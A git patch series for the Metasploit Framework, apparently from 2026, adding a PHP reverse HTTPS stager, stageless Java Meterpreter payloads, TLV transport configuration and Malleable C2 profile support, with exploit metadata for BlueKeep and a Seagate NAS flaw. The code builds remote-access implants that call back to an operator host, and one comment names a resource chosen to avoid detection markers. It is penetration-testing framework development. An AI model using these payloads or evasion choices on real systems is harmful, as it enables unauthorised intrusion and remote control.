b/modules/payloads/stagers/php/reverse_https.rb new file mode 100644 index 0000000000000..215ce0031534a --- /dev/null +++ b/modules/payloads/stagers/php/reverse_https.rb @@ -0,0 +1,31 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Stager + include Msf::Payload::Php::ReverseHttp + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => { 'Payload' => '' } + ) + ) + end + + def generate(_opts = {}) + super({ scheme: 'https' }) + end +end diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index e8723f3a096ca..8f45ec52d2df8 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -3,9 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'securerandom' - module MetasploitModule + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Php def initialize(info = {}) @@ -23,16 +23,47 @@ def initialize(info = {}) ) end + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + def generate_stage(opts = {}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') - uuid = opts[:uuid] || generate_payload_uuid - bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub('"PAYLOAD_UUID", ""', "\"PAYLOAD_UUID\", \"#{bytes}\"") + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - # Staged payloads need to have a new session GUID - session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*').chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub(%q{"SESSION_GUID", ""}, %("SESSION_GUID", "#{session_guid}")) + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") if datastore['MeterpreterDebugBuild'] met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) @@ -42,7 +73,6 @@ def generate_stage(opts = {}) end met.gsub!(/#.*?$/, '') - # met = Rex::Text.compress(met) met end end From 4a5fe56734fe181a5428c5f1a5c6a8fae9705d01 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:48:31 +1000 Subject: [PATCH 41/65] Remove emails from source They aren't valid any more. --- db/modules_metadata_base.json | 10 +++++----- .../exploits/linux/http/seagate_nas_php_exec_noauth.rb | 2 +- .../exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 5539267c8e2d1..4bbfe9b7b30a1 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66658,7 +66658,7 @@ "disclosure_date": null, "type": "encoder", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Encodes a payload using a series of SUB instructions and writing the\n encoded value to ESP. This concept is based on the known SUB encoding\n approach that is widely used to manually encode payloads with very\n restricted allowed character sets. It will not reset EAX to zero unless\n absolutely necessary, which helps reduce the payload by 10 bytes for\n every 4-byte chunk. ADD support hasn't been included as the SUB\n instruction is more likely to avoid bad characters anyway.\n\n The payload requires a base register to work off which gives the start\n location of the encoder payload in memory. If not specified, it defaults\n to ESP. If the given register doesn't point exactly to the start of the\n payload then an offset value is also required.\n\n Note: Due to the fact that many payloads use the FSTENV approach to\n get the current location in memory there is an option to protect the\n start of the payload by setting the 'OverwriteProtect' flag to true.\n This adds 3-bytes to the start of the payload to bump ESP by 32 bytes\n so that it's clear of the top of the payload.", "references": [], @@ -86684,7 +86684,7 @@ "disclosure_date": "2015-03-01", "type": "exploit", "author": [ - "OJ Reeves " + "OJ Reeves" ], "description": "Some Seagate Business NAS devices are vulnerable to command execution via a local\n file include vulnerability hidden in the language parameter of the CodeIgniter\n session cookie. The vulnerability manifests in the way the language files are\n included in the code on the login page, and hence is open to attack from users\n without the need for authentication. The cookie can be easily decrypted using a\n known static encryption key and re-encrypted once the PHP object string has been\n modified.\n\n This module has been tested on the STBN300 device.", "references": [ @@ -189596,7 +189596,7 @@ "author": [ "superkojiman", "PsychoSpy ", - "OJ Reeves " + "OJ Reeves" ], "description": "This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,\n allowing remote attackers to execute arbitrary code via a long resource name in an HTTP\n request. This exploit has to deal with the fact that the application's request handler\n thread is terminated after 60 seconds by a \"monitor\" thread. To do this, it allocates\n some RWX memory, copies the payload to it and creates another thread. When done, it\n terminates the current thread so that it doesn't crash and hence doesn't bring down\n the process with it.", "references": [ @@ -207223,7 +207223,7 @@ "author": [ "Sean Dillon ", "Ryan Hanson", - "OJ Reeves ", + "OJ Reeves", "Brent Cook " ], "description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.", @@ -311196,4 +311196,4 @@ "needs_cleanup": null, "actions": [] } -} \ No newline at end of file +} diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3e6cea0e5691..26df448d56dbd 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -27,7 +27,7 @@ def initialize(info = {}) This module has been tested on the STBN300 device. }, 'Author' => [ - 'OJ Reeves ' # Discovery and Metasploit module + 'OJ Reeves' # Discovery and Metasploit module ], 'References' => [ ['CVE', '2014-8684'], diff --git a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb index d5aedddd75508..76c22cb5ec8f9 100644 --- a/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb +++ b/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb @@ -84,9 +84,9 @@ def initialize(info = {}) pool base in kernel memory and set it as the GROOMBASE option. }, 'Author' => [ - 'Sean Dillon ', # @zerosum0x0 - Original exploit + 'Sean Dillon ', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit - 'OJ Reeves ', # @TheColonial - Metasploit module + 'OJ Reeves', # @TheColonial - Metasploit module 'Brent Cook ', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, From bf781a95f60b9ab97675cc48e2e9012bd4187763 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Fri, 27 Mar 2026 07:58:48 +1000 Subject: [PATCH 42/65] Config block support for mettle --- lib/msf/base/sessions/mettle_config.rb | 37 +++++++++++++++++++++----- 1 file changed, 31 insertions(+), 6 deletions(-) diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index 94e2289b964a7..ba0b346a43ad9 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -96,15 +96,40 @@ def generate_config(opts = {}) opts[:uuid] ||= generate_payload_uuid + unless opts[:transport_config] + case opts[:scheme] + when 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + when 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + when 'tcp' + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + else + raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + end + end + + # Generate the TLV config block + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + opts[:config_block] = config.to_b + + # Keep the legacy CLI config for backward compatibility during transition case opts[:scheme] when 'http' - opts[:uri] = generate_http_uri(transport_config_reverse_http(opts)) + opts[:uri] = generate_http_uri(opts[:transport_config].first) when 'https' - opts[:uri] = generate_http_uri(transport_config_reverse_https(opts)) + opts[:uri] = generate_http_uri(opts[:transport_config].first) when 'tcp' - opts[:uri] = generate_tcp_uri(transport_config_reverse_tcp(opts)) - else - raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" + opts[:uri] = generate_tcp_uri(opts[:transport_config].first) end opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip @@ -114,7 +139,7 @@ def generate_config(opts = {}) end opts[:session_guid] = Base64.encode64(guid).strip - opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background) + opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name, :background, :config_block) end # Stage encoding is not safe for Mettle (doesn't apply to stageless) From 1f0bf60cf5f0b9a126aef802e8540bb57d552cbf Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:29:09 +1000 Subject: [PATCH 43/65] Restore android stageless via TLV Stagless android was busted when meterp switched to TLV config. This moves the flags to a TLV instead of the first byte of the config block. --- lib/msf/core/payload/android.rb | 21 ++++++++++++--------- lib/rex/payloads/meterpreter/config.rb | 4 ++++ lib/rex/post/meterpreter/packet.rb | 1 + 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb index a1c0e0f3093ea..aa3c55c04f91d 100644 --- a/lib/msf/core/payload/android.rb +++ b/lib/msf/core/payload/android.rb @@ -46,23 +46,26 @@ def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore + # Session flags consumed by the Android meterpreter via TLV_TYPE_SESSION_FLAGS. + # Bit values must match Config.FLAG_* in + # java/meterpreter/shared/src/main/java/com/metasploit/stage/Config.java. + flags = 0 + flags |= 1 if opts[:stageless] + flags |= 2 if ds['AndroidMeterpreterDebug'] + flags |= 4 if ds['AndroidWakelock'] + flags |= 8 if ds['AndroidHideAppIcon'] + config_opts = { ascii_str: true, arch: opts[:uuid].arch, expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], - stageless: opts[:stageless] == true + stageless: opts[:stageless] == true, + flags: flags } - config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b - flags = 0 - flags |= 1 if opts[:stageless] - flags |= 2 if ds['AndroidMeterpreterDebug'] - flags |= 4 if ds['AndroidWakelock'] - flags |= 8 if ds['AndroidHideAppIcon'] - config[0] = flags.chr - config + Rex::Payloads::Meterpreter::Config.new(config_opts).to_b end def sign_jar(jar) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index c8f58d7fd3875..a0e05c8071981 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -67,6 +67,10 @@ def add_session_tlv(tlv, opts) if opts[:debug_build] && opts[:log_path] tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) end + + if opts[:flags] && opts[:flags] != 0 + tlv.add_tlv(MET::TLV_TYPE_SESSION_FLAGS, opts[:flags]) + end end def add_c2_tlv(tlv, opts) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 4b46d446ecb53..0619d8ddb1276 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -138,6 +138,7 @@ module Meterpreter TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s +TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) # # C2 Encoding flags From 1472c4d37eb07667b2babae3d1d71d5b13c1c563 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:31:56 +1000 Subject: [PATCH 44/65] Fix custom_headers emission, add C2 UUID for placement --- lib/rex/payloads/meterpreter/config.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index a0e05c8071981..ed4bf85149138 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -116,7 +116,11 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? - c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + + # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). + # Payloads fall back to URL-path extraction when this TLV is absent. + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UUID, @opts[:uuid].to_s) if @opts[:uuid] end tlv.tlvs << c2_tlv From aa220bba0a36c47736c60e31fa5888427e504a1e Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:37:42 +1000 Subject: [PATCH 45/65] Support mc2 in transport_* commands --- lib/rex/post/meterpreter/client_core.rb | 25 +++++++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index ca75f44766aec..7ef06ce4f2b33 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -10,6 +10,9 @@ # certificate hash checking require 'rex/socket/x509_certificate' +# parsing of Malleable C2 profiles for transport_add / transport_change +require 'msf/core/payload/malleable_c2' + require 'openssl' module Rex @@ -149,7 +152,8 @@ def transport_list response.each(TLV_TYPE_C2) { |t| # TODO: Consider adding more information to the output for malleable profiles? # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, - # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # TLV_TYPE_C2_PREFIX_SKIP, TLV_TYPE_C2_SUFFIX_SKIP, + # TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER # Not sure if this stuff is useful for this display though. result[:transports] << { :url => t.get_tlv_value(TLV_TYPE_C2_URL), @@ -904,7 +908,17 @@ def transport_prepare_request(command_id, opts={}) end end - c2_tlv = GroupTlv.new(TLV_TYPE_C2) + # When a Malleable C2 profile is supplied, start from its TLV (which carries + # UA + GET/POST sub-groups) and layer the rest on top; otherwise build a + # bare C2 group. + if (opts[:c2_profile] || '').empty? + c2_tlv = GroupTlv.new(TLV_TYPE_C2) + has_profile = false + else + profile = Msf::Payload::MalleableC2::Parser.new.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + has_profile = true + end if opts[:comm_timeout] c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) @@ -929,8 +943,11 @@ def transport_prepare_request(command_id, opts={}) url << generate_uri_uuid(sum, opts[:uuid]) + '/' end - opts[:ua] ||= Rex::UserAgent.random - c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + # When a profile is supplied it controls the UA; otherwise add a default. + unless has_profile + opts[:ua] ||= Rex::UserAgent.random + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + end if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) From 428f34f7dae61062692b30cf05e7dd6e6ee227e6 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 14 May 2026 00:04:54 +1000 Subject: [PATCH 46/65] Add stagless payloads for Java --- .../core/payload/java/meterpreter_loader.rb | 31 ++++++++++++++++++ .../singles/java/meterpreter_bind_tcp.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_http.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_https.rb | 32 +++++++++++++++++++ .../singles/java/meterpreter_reverse_tcp.rb | 32 +++++++++++++++++++ 5 files changed, 159 insertions(+) create mode 100644 modules/payloads/singles/java/meterpreter_bind_tcp.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_https.rb create mode 100644 modules/payloads/singles/java/meterpreter_reverse_tcp.rb diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index e2654ba6c727b..5b94ce40c50dc 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex/zip' +require 'zip' module Msf @@ -15,6 +17,11 @@ module Payload::Java::MeterpreterLoader include Msf::Payload::UUID::Options include Msf::Sessions::MeterpreterOptions::Java + # Resource path the stageless StagelessMain bootstrap reads. Deliberately + # innocuous — no meterpreter/metasploit markers in the name. + STAGELESS_CONFIG_RESOURCE = 'META-INF/data'.freeze + STAGELESS_MAIN_CLASS = 'com.metasploit.meterpreter.StagelessMain'.freeze + def initialize(info = {}) super(update_info(info, 'Name' => 'Java Meterpreter & Configuration', @@ -35,10 +42,16 @@ def stage_payload(opts={}) # Override the Payload::Java version so we can load a prebuilt jar to be # used as the final stage; calls super to get the intermediate stager. # + # When opts[:stageless] is set, returns a self-contained jar with the + # TLV config embedded as a resource and Main-Class pinned to + # StagelessMain — ready to run under `java -jar`. + # def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) + return build_stageless_jar(met, config) if opts[:stageless] + # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config blocks = [ @@ -56,6 +69,24 @@ def stage_meterpreter(opts={}) (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, + # rewrite its manifest to point at StagelessMain, and embed the encoded + # config as a jar resource that StagelessMain reads at startup. + def build_stageless_jar(src_jar, config_bytes) + jar = Rex::Zip::Jar.new + ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| + zip.each do |entry| + next if entry.directory? + next if entry.name == 'META-INF/MANIFEST.MF' + next if entry.name == STAGELESS_CONFIG_RESOURCE + jar.add_file(entry.name, entry.get_input_stream.read) + end + end + jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) + jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) + jar.pack + end + def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid ds = opts[:datastore] || datastore diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb new file mode 100644 index 0000000000000..a496231f6560a --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::BindTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Bind TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Bind TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::BindTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..def2c50e8aa06 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..0103ed02b6cc0 --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseHttps + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse HTTPS Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse HTTPS. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseHttps, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..654613ab45cdb --- /dev/null +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -0,0 +1,32 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Java::ReverseTcp + include Msf::Payload::Java::MeterpreterLoader + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Java Meterpreter, Reverse TCP Stageless', + 'Description' => 'Run a meterpreter server in Java. Reverse TCP. Self-contained jar.', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Handler' => Msf::Handler::ReverseTcp, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + ) + ) + end + + def generate(opts = {}) + stage_meterpreter(opts.merge(stageless: true)) + end +end From f0dc4a76a4dc6456e3693e3ed099534e5f75fb8f Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:13:35 +1000 Subject: [PATCH 47/65] Add debug output for incoming MC2 payloads --- lib/msf/core/handler/reverse_http.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6f3293be7c821..0c662bb998c9a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -386,6 +386,10 @@ def on_request(cli, req) conn_id = req.conn_id end + elog("MC2DBG on_request resource=#{req.relative_resource.inspect} " \ + "conn_id=#{req.conn_id.inspect} " \ + "info=#{info.nil? ? 'nil' : { sum: info[:sum], mode: info[:mode], uuid: !info[:uuid].nil? }.inspect}") + if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch From 492c0300eb77fdc79a495c3235422af512b5a5bf Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:14:13 +1000 Subject: [PATCH 48/65] Fix MC2 payload gen Primary fix here is to make sure we put the UUID in the configuration in the right format. It was being ignored by Windows, but not by python. --- lib/rex/payloads/meterpreter/config.rb | 63 ++++++++++++++++---------- 1 file changed, 38 insertions(+), 25 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index ed4bf85149138..eaa041a4cd5a0 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -3,12 +3,14 @@ require 'rex/post/meterpreter/extension_mapper' require 'rex/post/meterpreter/packet' require 'msf/core/payload/malleable_c2' +require 'rex/payloads/meterpreter/uri_checksum' require 'securerandom' class Rex::Payloads::Meterpreter::Config include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader + include Rex::Payloads::Meterpreter::UriChecksum MET = Rex::Post::Meterpreter @@ -95,32 +97,43 @@ def add_c2_tlv(tlv, opts) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) - url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" - url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] - url << "?#{opts[:scope_id]}" if opts[:scope_id] - - c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) - - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff that can only be set in MSF, not in the C2 profile - if url.start_with?('http') - proxy_url = '' - if opts[:proxy_host] && opts[:proxy_port] - prefix = 'http://' - prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + # Only build a C2 URL when we actually have a host. Staged payloads + # inherit the stager's socket and carry no host; guard so a nil lhost + # cannot reach Rex::Socket.to_authority (which requires a String). + if lhost && !lhost.to_s.empty? + url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" + url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] + url << "?#{opts[:scope_id]}" if opts[:scope_id] + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile + if url.start_with?('http') + proxy_url = '' + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' + proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + end + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + + # Per-transport UUID for C2 profile placement (uuid_get/header/cookie). + # 